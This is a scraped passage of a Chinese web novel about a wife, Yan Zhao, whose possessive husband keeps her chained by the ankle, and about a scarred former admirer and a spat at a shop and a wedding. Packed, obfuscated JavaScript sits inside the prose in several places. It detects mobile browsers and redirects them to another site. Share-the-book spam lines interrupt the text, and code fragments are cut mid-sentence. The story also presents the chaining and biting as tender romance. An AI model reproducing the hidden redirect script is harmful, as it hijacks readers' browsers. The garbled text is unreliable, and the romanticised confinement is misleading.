不是一两道。 是密密麻麻、交错重叠的那种。 有已经泛白的旧痕，有暗红色刚愈合不久的，还有几道新的伤口正处在结痂阶段，边缘微微翻起，皮肉还带着紧绷的痕迹，看起来狰狞又刺眼。 像是被什么反复割开过。 那双手原本修长好看，现在已经被这些伤毁得几乎看不出原来的样子。 言昭呼吸滞了一下。 言昭看着：“你……你这到底是怎么回事？” 她还是蹲了下去。 哪知道她刚靠近，谢临像是抓到什么救命的东西一样，猛地伸手攥住她的手腕，把她的手按在自己脸上。 掌心贴上去的那一瞬间，他整个人明显松了一口气，呼吸都轻了下来。 可下一秒—— “啪！” 一声清脆的巴掌声在房间里炸开。 言昭几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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单手放在胸口，对着她微微弯腰，做了一个标准又优雅的西式行礼。 “谢谢你。” 语气认真得像是在道谢什么大事似的。 言昭还没反应过来，他已经转身走到窗边。 推开窗。 没有半点犹豫。 整个人直接翻了出去。 身影消失得干干净净。 言昭彻底傻在原地。 她甚至还没来得及爬过去看一眼外面。 门口就响起了敲门声。 “太太？” 下一秒，门被从外面打开。 王阿姨站在门口，手里还端着切好的水果，一进来就看见她坐在床边，脚踝上扣着链子，脸色明显不对。 “太太，您怎么了？” 言昭回过神来得很快。 她把刚才那点慌乱硬生生压下去，抬手揉了揉额角，挤出一个有点勉强的笑：“没事，就是做了个噩梦。” 言昭低头看了一眼自己脚踝上的链子，又顺势说下去：“刚才迷迷糊糊想下床，忘了自己被锁着，吓了一跳。” 王阿姨果然没有多想，把水果放在床边的小桌上，还顺着她的话安慰了两句：“难怪脸色不太好，白天睡觉就是容易做梦。” 言昭立刻把话题转开：“孩子们醒了吗？” “还没呢。”王阿姨笑着回她，又补了一句，“太太，顾教授今天会早点回来，您晚上想吃点什么？” 言昭现在听见顾煜的名字，心口就微微一跳。 她压着情绪点头：“我都行。” 王阿姨应了一声，很快出去了，还顺手把门轻轻带上。 第80章 你能不能不要锁着我？ 房间重新安静下来。 言昭整个人像是被抽掉了一点力气，慢慢呼出一口气。 她低头看着自己的手。 刚才被谢临抓住的地方，好像还残着一点温度。 再想到他那副样子，她心里就一阵发紧。 言昭到底还是打算跟顾煜说这件事，不然等他以后知道，会很生气。 …… 谢临回到谢家的时候，天色已经有点暗了。 门刚被推开，谢母就从客厅里快步迎了出来。 谢母在看到他人的那一瞬间整个人明显松了一口气，眼里的紧绷一下子散开，又立刻被新的慌乱取代。 “你去哪了？” 谢母声音又急又轻，带着压不住的担心，目光在他身上来回扫，“你没有再……伤害自己吧？” 话没说完，谢母已经伸手去掀他的袖子。 谢临往后避了一下，轻轻挡住她的手：“妈。” 他的声音不高，却比平时多了一点松弛。 “我好饿，想吃东西。” 谢母整个人愣住。 像是没听清。 等反应过来之后，眼圈一下子就红了。 谢母已经记不清多久没从他嘴里听到这句话了。 以前是怎么劝都不肯吃，现在说自己饿了。 谢母连连点头，声音都带着哽意：“你想吃什么？妈给你做！” 谢临站在玄关，脸色还是苍白的，可神情比平时都要好点。 他笑着说：“都可以。” 很简单的三个字，让谢母的眼泪一下子掉下来。 她一边抹着眼睛一边往厨房走，嘴里还在说：“好，好，都可以，妈现在就做。” 谢临换了鞋，慢慢走进屋里。 客厅的灯光落在他身上，那点疲惫和病气还是很重。 可他坐下的时候，整个人不像以前那样绷着。 手指落在膝盖上，轻轻收了一下。 像是在回忆什么。 唇角极浅地动了一下。 然后又很快压了下去。 …… 顾煜说会早点回来。 三点刚过，院子里就传来车声。 楼下的阿姨还没来得及说话，他已经快步上了楼，步子又急又重，像是一路都在压着什么。 门一推开，他第一眼就看见站在窗边的人。 言昭背对着他，正往外看。 阳光落在她身上，把她的轮廓勾得很柔。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 顾煜几乎是没停地走过去从后面一把把人抱进怀里。 那力道带着明显的急切。 他低头埋在她颈侧呼吸一下子沉下来在她的发间、耳后轻轻嗅着像是在确认她真的在这里。 手臂收得很紧。 然后唇落在她耳廓上轻轻亲了一下。 顾煜看到她耳垂上那点被自己咬破还没完全好的小伤口动作顿了一瞬眼神一下子暗了下来忍不住低头舔了一下。 温热的触感贴上去。 言昭整个人一软肩膀都跟着轻轻颤了一下。 这一套动作太熟悉也太直接让她连反应的时间都没有身体已经先一步酥下来被他抱得几乎站不稳。 顾煜贴在她耳边声音低得发哑。 “昭昭。”他收紧了手把人更往怀里带了一点：“我回来了你想我了吗？” 他的呼吸还没完全稳下来语气里带着很明显的依恋。 “我好想你。” 言昭原本还站在窗边出神 现在她脸一下子红起来。 言昭从他怀里挣出来语气急急的：“快点给我解开链子我要去方便。” 顾煜眉头立刻皱了：“我在房间给你放了——” “我不要在房间！” 她想都不想就打断他。 顾煜明显不乐意盯着她看了一眼语气低低的：“你还没说想我。” 话是这么说人已经牵着她走到床边坐下。 顾煜单膝跪在地上然后把她的脚抬起来放在自己腿上。 那条链子在他手里发出清晰的金属声他低着头给她解锁手指修长骨节分明动作稳得不像话。 言昭从上往下看他。 这个角度太近了。 他头发利落眉眼好看得过分鼻梁高睫毛长侧脸线条干净又帅气整个人看起来又高又挺。 现在却跪在她面前专心给她解链子。 那种反差让人心口发紧。 现在言昭的心跳一下子快得不行。 明明只是解个锁可她看得移不开眼。 顾煜抬头的时候正好撞上她的视线。 两个人离得很近。 她呼吸都乱了。 脑子里只剩下一个念头—— 这个人现在随便一个动作她都喜欢得不行。 顾煜看见她盯着自己发呆。 那眼神软得不像话。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 他解锁的动作顿了一下，唇角勾起来，身体往前倾，直接在她唇上亲了一下。 很轻的一下。 言昭这才猛地回神，脸一下子红了，抬手推他肩膀，小声说：“你能不能不要锁着我？ 话说到这里，她刚张口继续说谢临的事情。 哪知道顾煜忽然低头一口咬住她的唇。 言昭疼得“啊了一声，整个人都往后缩。 他很快松开。 明显是故意的。 顾煜眼神暗了一下，又立刻收回去，神情变得若无其事，甚至带着点懒散。 “我饿了。他说得理直气壮，像刚才什么都没发生，“我们去吃东西。 说完就站起来，顺手把她从床上拉起来，还拍了拍她的头。 言昭愣在那里，看着他这副明显在转移话题的样子，又气又想笑。 他明明就是不想听她继续说下去。 偏偏装得一本正经。 那点耍赖的劲儿，全写在脸上。 …… 言昭看着面前的小盅还有点新奇。 白瓷碗里装着一整个梨，顶部被切开当盖子，中间掏空，炖得通透发亮，糖水清清的，里面还漂着几粒红枸杞，看起来温温润润的。 阿姨在旁边笑着说：“这叫冰糖炖雪梨，补气血的，太太快尝尝看好吃不。 言昭还没来得及说话，肩膀就一沉。 顾煜已经从后面靠过来，下巴几乎贴在她发顶，声音低低的：“昭昭，快尝尝。 那语气里也带着点期待。 她端起碗，小心舀了一勺糖水送进嘴里。 入口是很干净的清甜，没有想象中那种腻，反而带着一点梨本身的清香，温温的顺着喉咙滑下去。 言昭眼睛微微亮了一下。 又舀了一勺。 这次挖的是梨肉。 炖过的梨子已经完全软下来，勺子轻轻一压就散开，吃进嘴里是绵软的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾煜看她的表情，笑了一下，语气比刚才放松很多：“我一个单位的，一个团的队员，要结婚了，请我过去。” 他说这话的时候手还很自然地搭在她椅背上，整个人侧向她，眼神温和。 “我带你一起去。” 言昭手里的勺子停了一下。 她心里那点被锁在二楼的憋闷一下子被这句话冲散了一点。 其实她早就想出门了。 只是一直没说。 她想了想，点头：“好。” 语气比刚才轻快了一点。 顾煜看她答应，笑意更明显了，抬手揉了揉她的头发。 言昭低头继续吃梨，打算等会再跟他说谢临的事情。 …… 要出门参加婚宴，言昭又要去买衣服了。 一年前的衣服顾煜说都过时了，这一次要参加的婚宴挺高档的，所以要重新买。 言昭觉得他说的对。 她也已经很久没正经出门逛街，在拿着存折的时候，她还带着点兴奋。 结果她一翻开，整个人就愣住了。 上面的数字让她以为自己看错了。 她又凑近看了一遍，还不放心地用手指着那一排数字，转头看向顾煜，语气都有点发飘：“这里面……是一千块吗？” 她皱着眉认真数了一遍。 “咱们不是才七千吗？” 第81章 我会忍不住对你做点什么 顾煜正站在她身后给她拿外套，闻言走过来，很自然地把衣服披在她肩上，又替她把帽子戴好。 动作熟练又温柔。 言昭还在盯着存折。 他抬手用指腹给她擦了擦刚才吃甜品蹭到的一点糖渍，低头看着她笑。 “上面是一万。 他声音低低的，带着点哄人的意味。 “我的昭昭。 言昭整个人都懵住了。 她又低头看了一眼存折。 真的是一万。 不是她数错。 那一瞬间，她心跳都快了。 她惊愕抬头看他：“你什么时候存的？不是不是，怎么又多了钱？ 顾煜把丝巾给她围好，语气轻描淡写：“前阵子发的补贴和奖金。 他说得很随意，像是在说一件再普通不过的事。 可那点得意还是藏不住。 “不是说带你去买衣服吗。 他低头看她，眼神亮得很。 “钱不够怎么行。 …… 两个人又去了那家百货大商场。 一进门，言昭就有种说不出的熟悉感。 还是那几层亮堂的柜台，还是来来往往的人声，还有玻璃柜里一排排叠得整整齐齐的布料和成衣。 她还没来得及多看两眼，顾煜已经带着她直奔女装区。 然后—— 就开始了。 只要他觉得顺眼的，拿。 颜色衬她的，拿。 料子软的，拿。 款式新一点的，他也拿了。 营业员在旁边都快笑得合不拢嘴。 言昭站在试衣镜前，看着他熟练地跟人说尺寸、挑颜色、比肩宽，那一整套动作行云流水。 跟以前一模一样。 她很安静。 那种熟悉的感觉一下子把言昭拉回到从前。 那时候他们也是这样，她还会在旁边拦他，说不用买这么多，说钱要省着点花。 可他从来不听。 现在也是。 她看着他站在柜台前付钱的背影，高高的，挺直，动作干脆，连递存折的样子都和记忆里重合。 心里那点心疼还没来得及冒出来，就被另一种情绪压过去了。 是暖的。 也是酸的。 她不在他身边的那段时间，他一个人过的那些日子，她忽然有点不敢去想。 可现在他站在这里，像是 你的朋友正在书荒，快去帮帮他吧 什么都没变。 还在用同样的方式对她好。 言昭低头笑了一下眼眶开始有点发热。 顾煜拎着一堆袋子回头看她的时候她已经把情绪压下去了。 “昭昭。”他走过来语气带着点得意：“我们再去那边看看鞋。” 言昭没说话 顾煜低头看她。 她抬头冲他笑。 那笑很软。 像是把这段时间所有的想念都藏在里面了。 顾煜被她那一眼看得呼吸都顿了一下。 她刚才那个笑太软了眼睛亮亮的还带着一点依赖。 他几乎是下意识往前一步又硬生生停住。 这里是商场。 现在虽然不像以前那么严格可周围人来人往他还是收住了动作。 他低下头靠近她一点唇几乎贴在她耳边声音压得极低只有她能听见。 “昭昭。” 他顿了一下呼吸落在她耳后。 “你再这样看着我我会忍不住对你做点什么。” 言昭耳朵一下子红透了。 她立刻侧过头假装去看旁边的柜台。 顾煜看她这反应眼里那点笑意更明显了。 两个人之间那种黏糊糊的气氛根本藏不住。 旁边的营业员全看在眼里。 本来顾煜一进门就给她挑衣服、试了合适就直接买连价都不讲已经够让人羡慕了。 现在再看两个人站在一起说悄悄话人家媳妇脸红他低头笑的样子几个营业员对视了一眼眼里的羡慕都快溢出来了。 其中一个忍不住小声感叹：“感情真好。” 另一个也跟着笑：“他对象真有福气。” 顾煜蹲在那边给她挑鞋手里拿着两双在对比颜色还不忘抬头问她一句合不合脚。 言昭站在一旁等他无聊地四处看。 玻璃柜台里摆着一排配饰她目光忽然被一个胸针吸引住。 样式很简单是一朵小巧的银色花边缘镶着细碎的亮石不夸张可很精致。 看起来就很适合顾煜。 言昭下意识伸手拿起来。 指尖刚碰到—— 旁边突然伸出一只手把那枚胸针从她手里抢了过去。 动作又快又直接。 言昭眉头立刻皱了起来想都没想伸手就从对方手里拿回来。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 那女生顿时拔高了声音：“这是我先看中的！你抢什么抢！ 声音不小，周围几个人都看了过来。 言昭转头看她。 是个刚成年的小姑娘，打扮得很时髦，头发烫得卷卷的，穿着一身新式的裙子，神情带着点骄气。 只不过这张脸的眉目让她看着有点眼熟。 像是在哪里见过。 可一时想不起来。 言昭神色很淡，语气也不高：“这明明是我先拿到手里的，你抢过去的。 她说这话的时候一点都不虚。 刚才顾煜已经买了一堆东西，营业员还在一旁堆袋子。 她现在说话的底气，比从前足了太多。 那姑娘被她的态度噎了一下，脸色立刻难看起来：“你知道我是谁吗？ 言昭看着她，眼神平静得很。 “我为什么要知道你是谁？ 那姑娘显然没想到她会这么怼自己，脸一下子涨红了。 她气得一跺脚，直接转头冲旁边那个一直陪着笑的男人发火：“姓胡的，你还想不想让我在我爹地面前替你说好话了！ 那男人脸色立刻变了。 他刚才其实全程都看在眼里，这枚胸针确实是言昭先拿到手的，而且言昭是他们这边今天的大客户，刚刚才买了一大堆东西。 可偏偏—— 眼前这个大小姐，他也得罪不起。 男人的表情一下子变得很为难，额头都快冒汗了，他冲言昭露出一个讨好的笑，语气压得很低：“这位同志，要不……您看看别的款式？我们这边还有更新的，给您挑个更好的？ 那种眼神几乎是带着恳求。 可惜言昭一点反应都没有。 她手里还拿着那枚胸针，神情平静，连多看他一眼的意思都没有。 她不吃这一套。 就在这时，顾煜已经从那边走了过来。 手里还拿着刚给她选好的鞋。 他一靠近，气场立刻就不一样了。 高高的个子，五官干净又好看，站在那里整个人挺拔又利落。 那姑娘本来还气势汹汹，一看见他，眼睛一下子亮了。 刚才的怒气都像是被按下去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338050|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光直勾勾地落在顾煜脸上。 明显是被他的长相吸引住了。 顾煜连看都没看她一眼，视线直接落在言昭身上。 “昭昭，怎么了？ 言昭把那枚胸针举到他面前，语 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 气很自然：“我觉得这个很适合你，想给你买，但是有人也想要。” 顾煜这才慢慢抬眸。 那一瞬间，他脸上的表情没什么变化。 可在言昭看不到的角度，他的眼神变了，像是突然沉下去的一层暗色。 不带情绪，却让人发寒。 顾煜只是看了那姑娘一眼。 很短的一眼。 那姑娘原本还盯着他看得有点出神，脸上带着明显的花痴神情。 等对上那双眼睛时，整个人像是被什么刺了一下。 后背一凉。 那种冷意让她瞬间清醒过来。 她下意识移开视线，脸也不受控制地红了起来。 不是刚才那种骄气的红。 而是带着点窘迫。 顾煜已经收回目光，像是什么都没发生。 他伸手把言昭手里的胸针接过来，低头在自己衣襟前比了一下，语气恢复成平时对她的那种温和：“确实挺适合，昭昭眼光真好。” 然后抬头对旁边的营业员说：“这个，我们也要了。” 那姓胡的男人张了张嘴，终究没敢再说什么。 顾煜刚才那一眼已经把他的心都看凉了。 他太清楚，这种人不是自己能得罪的。 营业员也很利落地把胸针包好递过来。 言昭付了钱，顺手把盒子放进袋子里，像什么都没发生一样挽住顾煜的手臂，两个人转身就走。 从头到尾都没再看那姑娘一眼。 等他们的身影消失在拐角，那姑娘的脸才彻底垮下来。 她气得直跺脚，声音都拔高了：“你完蛋了！我一定让我爹地我妈咪把你赶出去！你给我等着！” 那姓胡的男人站在旁边，脸色发青，想劝又不知道怎么劝。 就在这时，高跟鞋踩在地上的声音从另一边传来。 一个打扮洋气的妇人走了过来。 卷发精致，穿着时髦的套装，手上拎着小皮包，一看就和周围的人不在一个层次。 那姑娘一看到她，立刻变了脸。 刚才的嚣张全没了，直接扑过去抱住她的胳膊，声音带着委屈和撒娇：“妈咪！他欺负我！” 妇人皱了下眉，抬眼扫了一圈，语气不紧不慢：“怎么回事？” 那姑娘立刻指着姓胡的男人，又指着言昭他们离开的方向，语气又急又气：“那个女人抢我东西！还有她男人，对我凶！” 妇人的目光顺着她指的方向看过去。 姑娘又对着那个男人说：“他也欺负我，明明是我要买的东西，他让给别人。” 那男人脸色一下子白了。 额头的汗都冒出来了，他连忙弯下腰，语气又急又小心：“方太太，真不是这样，是那位言小姐先拿在手里的，方小姐确实慢了一步……” 他话还没说完，那姑娘就气得瞪他。 方太太抬手轻轻按了一下女儿的手臂，示意她别说话，自己慢慢看向那男人。 方太太冷笑了一声。 “我女儿喜欢的东西，还需要先来后到？” 方太太上下打量了他一眼，像是在看一件不值钱的东西。 “看来你也没什么本事。” 这句话比骂人还狠。 第82章 顾煜的粘人 那男人脸色更白了，张了张嘴，可一句话都不敢反驳。 方太太已经懒得再看他，转身牵着女儿的手。 “乖囡囡，我们走。” 那姑娘还在气鼓鼓地回头瞪了一眼柜台，明显不甘心。 两个人踩着高跟鞋离开了。 留下那姓胡的男人站在原地，后背全是冷汗。 周围的营业员都不敢出声。 男人最后无奈了一句：“这都是什么事啊。” …… 言昭根本没把刚才那点小插曲放在心上。 她满脑子都是那枚胸针配什么衣服好看。 拉着顾煜又转回男装区，自己站在一排衣服前认真挑起来。 “你试这个。” 她把一件深色外套塞进他怀里，又拿了一件浅色衬衫在他身前比了比。 顾煜本来是陪她来的，现在反倒成了被她折腾的人，嘴角还一直压不住笑，乖乖去试。 等他换好出来，言昭立刻把那枚胸针给他别在衣襟上。 她往后退了一步看效果。 这一眼看得她自己都愣了一下。 本来就高高挺挺的人，衣服一换，整个人更利落了，肩宽腿长，脸又好看，那枚小小的胸针别在胸口，反而把他的气质衬得更干净、更俊。 俊得有点过分。 言昭眼睛都亮了。 旁边几个营业员本来只是礼貌地看着，结果这一看，视线就挪不开了。 一个个站在柜台后面，眼神直往顾煜身上飘。 还有个年轻点的营业员红着脸，笑得都收不住，眼神亮得不行。 大家的口水都快流下来了。 言昭站在旁边看着这一幕，忍不住有点得意。 像是自己精心打扮出来的成果被所有人认可了一样。 她伸手替顾煜把衣领整理了一下，又拍了拍他的肩。 “我们买这套。” 顾煜低头看她，眼里全是笑。 那几个营业员看着两个人站在一起的样子，心里更酸了。 不仅人好看，感情还这么好。 …… 晚上回到家，顾煜说要带她消食。 言昭一开始还真信了，跟着他在院子里走了两圈，结果没多久就被他从后面抱住。 后面的事她连抗议的力气都没有。 言昭只记得整个人被他抱着换了好几个地方，连站都站不稳，不管什么姿势自己都在晃，窗外的灯影也跟着一下一下地摇 你的朋友正在书荒，快去帮帮他吧 。 等一切安静下来的时候，她整个人软得像是没骨头。 顾煜把她抱进浴室，水声响了很久。 他给她洗头、擦干头发，又把人抱回床上。 房间这才彻底安静下来。 第二天醒来时已经快中午。 阳光透过窗帘落进来，屋子里一片亮堂。 顾煜早就起来了，衣服整整齐齐地换好，连发型都收拾得利落。 他给言昭选的那套新衣服已经放在床边。 浅色的裙子配着外套，旁边还摆着那枚小小的胸针。 言昭换好出来的时候，他正站在镜子前系袖扣。 两个人一前一后站在镜子里。 她忍不住看了一眼。 昨天自己挑的那套衣服穿在他身上，整个人更挺拔好看。 顾煜转过头，看见她的瞬间，眼神明显亮了一下。 他走过来，替她把胸针别好，又顺手把她的发丝理到耳后。 “昭昭，我们走吧。” 声音低低的。 出门前言昭先去看了两个孩子。 小家伙刚睡醒，被阿姨抱在怀里还迷迷糊糊的，她一人亲了一口，脸贴着他们的小脸蹭了蹭，笑得不行。 “妈妈很快回来。” 明知道他们听不懂，还是忍不住说。 临走时她还回头看了好几眼，手被顾煜牵着，脚步还慢吞吞的。 顾煜捏了捏她的手心：“等会就回来了。” 他还是不习惯昭昭的专注力跟目光在孩子身上。 言昭点头，这才跟着他上车。 婚宴是在城里一家新开的饭店办的，门口挂着红布，来来往往的人都穿得体面热闹。 两个人刚走进去，言昭脚步忽然顿了一下。 不远处站着一个人。 正是昨天在商场里闹脾气的那个姑娘。 对方显然也看见她了。 那姑娘今天打扮得更精致，一身浅色洋裙，腰线收得很细，头上戴着半遮的蕾丝小帽子，整个人像是特意收拾过的。 四目一对。 两个人都愣了一下。 那姑娘脸上的表情先是一僵，随即变得狰狞起来。 言昭也是微微挑眉。 这种场合遇见，实在太巧了。 顾煜察觉到她停下来，顺着她的视线看过去，眼神瞬间淡了下来。 他像是根本没看见那姑娘，带着言昭直接往里走。 两个人连眼神都没 你的朋友正在书荒，快去帮帮他吧 给一个。 进了大厅，他先去跟几个穿着军装的男人打招呼，那些人一看见他就笑着迎上来，气氛一下子热络起来。 顾煜一一给她介绍，语气自然又带着点得意：“我爱人，言昭。” 言昭被他说得脸有点热，还是大大方方地点头打招呼。 等人散开一点，他才低头靠近她耳边，小声说：“昭昭，这一次的新娘比新郎年纪大。” 言昭愣了一下，顺着他的视线看过去。 他声音带着笑意：“他们能结婚，其实很大原因是因为我。” 言昭眨了眨眼：“你给人说媒啦？” 顾煜被她这个反应逗笑了，低声说：“没有，是因为我有个好老婆。他看到我们，就觉得娶父母安排的媳妇也不错。” 言昭一愣，随即耳根都热了。 还没来得及说话，新郎已经朝他们这边走过来。 是个看起来比顾煜年纪大一点的男人，个子高高的，眉眼稳重，笑起来带着点憨厚。 他身边的新娘子穿着红色的礼服，妆容很端正。 确实年纪看起来比新郎大一点。 言昭的目光在她脸上停了一瞬，最后落在她的手上。 那双手。 指节略粗，掌心有薄茧，手背的皮肤不算细嫩。 是常年干活留下的痕迹。 那种熟悉感，让言昭下意识低头看了看自己的手。 总觉得是看到了从前的自己。 这一年她的手又粗糙了起来，顾煜因为这件事啃着她手咬了好久。 新郎走到跟前，先是和顾煜用力握了下手，笑得很爽朗：“你可算来了，我还以为你不来呢。” 顾煜点了点头，把言昭往身边带了一下：“我爱人。” 那男人的目光落在言昭身上，明显愣了一瞬，随即笑着说：“早就想见见你藏着的那位了。” 新娘也看向她，眼神温和，带着点打量，没有半点不舒服的意味，反而真诚地说了一句：“你长得真好看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338051|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 言昭被夸得有点不好意思，笑着回了句：“你今天也特别好看。” 顾煜站在旁边看着，唇角一直是弯的。 那男人又拍了拍顾煜的肩：“你小子，平时话不多，娶媳妇倒是娶得这么好。” 顾煜笑了一声：“这是我运气好。”他说完，目光落在新郎身上，又看了一眼他旁边的新娘，“你也好好对你爱人，女人是要养的，像养花一样。” 新娘子明显愣了一下，眼神有 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 点发亮。 新郎也跟着笑，点头点得很用力：“那肯定。” 言昭站在旁边，听着他说这话，心里忽然软了一下。 顾煜一露面，很快就被人围住了。 同一个单位的、认识他的、听说过他的，全都端着酒过来打招呼。 有人拍他肩膀，有人拉着他说话，场面一下子热闹起来。 言昭站在他身边，脸上挂着得体的笑，一开始还能跟着点头回应几句，时间一长就有点僵。 她本来就不习惯这种场合，再加上被人一杯一杯地劝着喝，没注意就多喝了两口。 脸开始发热，耳朵也烫起来。 她轻轻扯了扯顾煜的袖子，小声说：“我去一下厕所。” 顾煜立刻低头：“我陪你。” 言昭赶紧摇头：“不用，我很快就回来。” 他眉头已经皱起来了，明显不放心：“人多。” “我真的会很快回来。”她又强调了一遍。 顾煜还是不松口。 言昭被他盯得没办法，抬头瞪了他一眼，压低声音：“我又不是小孩。” 这一眼瞪得带着点娇气。 顾煜顿了一下，最后还是不情不愿地点头。 “最多五分钟。”他看着她，语气很严肃：“超过我就去找你。” 言昭立刻点头：“好好好。” 说完转身就走，步子都快了几分。 …… 言昭没想到自己刚进洗手间的走廊，就被人拦住了。 那姑娘不知道什么时候等在那儿，脸色难看，一见她就冲上来，抬手就要打。 动作又急又狠。 言昭几乎是条件反射地抬手，一把抓住她的手腕，用力往旁边一推。 那姑娘整个人被她推得踉跄，后背“咚”地一声撞在墙上，疼得闷哼了一声。 她显然没想到言昭力气这么大，愣了一瞬，随即脸色更难看，眼睛都红了：“我要弄死你！” 又扑上来。 这一次言昭没再让她近身。 抬手就是一巴掌。 “啪！” 声音清脆得在走廊里回响。 那姑娘被打得偏过头去，捂着脸还没反应过来—— “住手！” 一声厉喝从旁边传来。 那姑娘立刻像找到靠山一样，捂着脸就扑过去，声音带着哭腔：“妈咪！我脸好疼！她打我！” 来的人正是那位方太太。 方太太脸色一下子沉下来，几乎没问一句，抬手就朝言昭扇过去。 动作又快又狠。 言昭离得太近，根本躲不开。 她以为这一巴掌肯定要落在自己脸上，下意识闭了一下眼。 可预想中的疼痛迟迟没有出现。 言昭微微睁开眼。 她突然觉得这位妇人也好眼熟。 而方太太此时也看清了言昭的脸，眼睛猛地睁大，脸上的怒气瞬间凝住，变成了惊愕。 第83章 小小修罗场 言昭眉头一下子皱紧脚步往后退开直接和面前这母女俩拉开距离。 她站直了身子语气冷得干脆：“是你女儿平白无故要打我我还不能反手吗？” 言昭很不客气地质问。 这边的动静有点大旁边的人都停下来看。 就在这时一个人突然从旁边走过来站在她面前把她和那对母女隔开。 那背影高挑利落。 言昭下意识以为是顾煜仰起头刚要开口话就卡在喉咙里。 竟然是谢临！ 言昭瞬间往后退了好几步。 这时谢临微微侧身看着她唇角带着那种从容的笑今天的他穿着一套合体的西式西装。 西装剪裁利落把他本就清瘦的身形衬得修长挺拔脸色依旧偏白可因为衣着得体显得格外干净眉眼精致在人群里很打眼。 周围已经有几个年轻姑娘忍不住多看了他两眼。 他像是习惯了这种目光神情没有一点不自在只是看着言昭笑得温和：“好巧。” 言昭唇瓣动了动但是一句话都不想跟他说。 带着明显的排斥。 谢临像没看出来一样目光落在她脸上停了一瞬才慢慢转向那对母女语气依旧温和只不过多了一点冷意：“你们想干嘛？” 那位方小姐原本还捂着脸气得眼睛发红这会儿愣住了。 她的视线在谢临脸上停了好几秒。 自从她从国外回来之后家里给她介绍的那些所谓条件好的对象不是年纪大就是长得普通一个比一个让她看得心烦。 可这个女人身边帅哥是一个接着一个。 虽然眼前这个男人不如上次看的那个俊也少了那种压人的气势。 可五官精致气质干净穿着西装站在那里依旧很打眼放在人群里也是一眼就能被注意到的那种。 而这两个男人。 竟然也跟着这个女人认识。 这位姓方的瞬间嫉妒的眼睛都红了。 言昭连多看一眼都懒得看低下头就准备从旁边绕过去。 她现在只想离开这里。 结果才走两步就看见走廊尽头站着的人。 顾煜。 他已经寻自己过来了。 高高的个子站在人群外侧一眼就能看见目光正落在她这边脸上的表情很沉。 言昭心里那点绷着的劲一下子松开了。 她想都没想直接小跑过去 听说看这本书的人都是很幸运的，分享后你的运气会更棒 。 裙摆随着她的动作晃了一下，她伸手抓住他的衣袖，整个人往他身边靠。 顾煜原本压着的情绪在她靠过来的那一刻明显松了一瞬，他伸手把人接住，手掌落在她后背上，力道不重，但是带着完全的占有意味。 “怎么了？ 顾煜一直在算她离开的时间。 他表面还在和人说话，视线时不时往门口扫。 五分钟一到，人还没回来。 顾煜连杯子都没放稳就转身出来。 哪知道走到这边，他看见言昭被堵在那，而且那个差点被他打死的人还敢出现在昭昭面前。 那一瞬间—— 顾煜眼神整个变了。 原本温和的目光一下子沉下去，黑得发冷，像是压着什么猛地被掀开。 脸上的线条绷紧，下颌收得很硬，眼底那层阴暗翻上来，连呼吸都重了。 整个人的气场瞬间变得危险。 一起跟来的几个人看到顾煜的爱人好像被欺负，他们也知道顾煜的情况。 这几个人脸色当场就变了。 他们太清楚顾煜失控是什么样子。 几个人几乎是下意识地快步走到他身边，站在他侧后方，明显是随时准备按住他一样。 “先别急，先问清楚怎么回事。 说话的这个男人语气都带着紧张。 其他人也被这阵仗吸引过来，纷纷围上来问：“怎么了？出什么事了？ 场面一下子大了。 方太太原本还气势汹汹，这会儿才发现周围站着的都是些什么人。 压根没想到只是女孩子之间一点冲突，竟然会把这么多人都惊动。 其实方太太对周围围上来的这些人并不在意。 方太太的目光一直落在言昭脸上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338052|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越看神色越不对，像是认出了什么，又不太敢确定。 方太太张了张嘴正想问，就被一个熟人从旁边拉住手臂，低声劝了两句，硬是把两人带走了。 顾煜听见言昭说是那姑娘先找事，哪怕昭昭没吃亏，他心里的那股火还是压不住。 他视线一直盯着那母女离开的方向，又盯着这个还没自觉离开的谢临。 谢临没有做任何出格的事情，在顾煜来了后就站在人群中。 